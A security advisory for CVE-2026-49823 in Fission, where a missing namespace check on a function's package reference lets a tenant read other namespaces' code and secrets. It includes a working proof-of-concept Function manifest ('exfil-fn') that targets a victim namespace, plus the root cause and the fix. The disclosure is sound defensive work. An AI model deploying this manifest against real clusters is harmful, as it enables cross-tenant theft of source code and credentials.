high · 7.7CVE-2026-49823Jun 30, 2026

CVE-2026-49823: Fission Cross-Namespace Package Read via Unvalidated PackageRef

Rohit Hatagale
AI Security Researcher, SecureLayer7

A low-privilege Fission function author in one Kubernetes namespace could read the source code and embedded secrets of any Package in any other namespace by setting a single field the admission webhoo

Packagegithub.com/fission/fission
Ecosystemgo
Affected<= 1.23.0
Fixed in1.24.0

The problem

Fission's admission webhook validated that Secret and ConfigMap references stay in the function's own namespace, but applied no equivalent check to `spec.package.packageref.namespace`.

An attacker with only `functions.fission.io/create` in their namespace could point that field at any other namespace. On invocation, the `fission-fetcher` sidecar reads the victim Package using its cluster-wide `get packages` permission and writes the archive to `/userfunc/deployarchive` inside the attacker's pool pod, exposing source code and embedded credentials.

Proof of concept

A working proof-of-concept for CVE-2026-49823 in github.com/fission/fission, with the exact payload below.

text
apiVersion: fission.io/v1
kind: Function
metadata:
  name: exfil-fn
  namespace: attacker-ns   # attacker's own namespace (they have create here)
spec:
  environment:
    name: python
    namespace: attacker-ns
  package:
    packageref:
      name: victim-secret-package
      namespace: victim-ns   # <-- cross-namespace ref; webhook did NOT block this pre-patch
      resourceversion: ""
  resources: {}

Before PR #3389, `pkg/webhook/function.go::Validate` checked `spec.secrets[*].namespace` and `spec.configmaps[*].namespace` against `metadata.namespace`, but contained no parallel check for `spec.package.packageref.namespace`. The patch adds exactly that check, rejecting any Function where those two values differ (an empty `packageref.namespace` is still accepted because controllers default it to the function's namespace).

The root cause is an incomplete namespace-isolation pattern (CWE-284, CWE-863): the developer applied the guard to two of the three reference types and missed the third. Because `fission-fetcher` holds `get packages` across every configured function namespace, the missing check was the only isolation boundary between tenants.

The fix

Upgrade to Fission v1.24.0 (PR #3389, commit 80e7ba55). The patched webhook rejects Function creation or update when `spec.package.packageref.namespace` is non-empty and differs from `metadata.namespace`. Functions that relied on cross-namespace Package references must be restructured so the Package lives in the same namespace as the Function.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research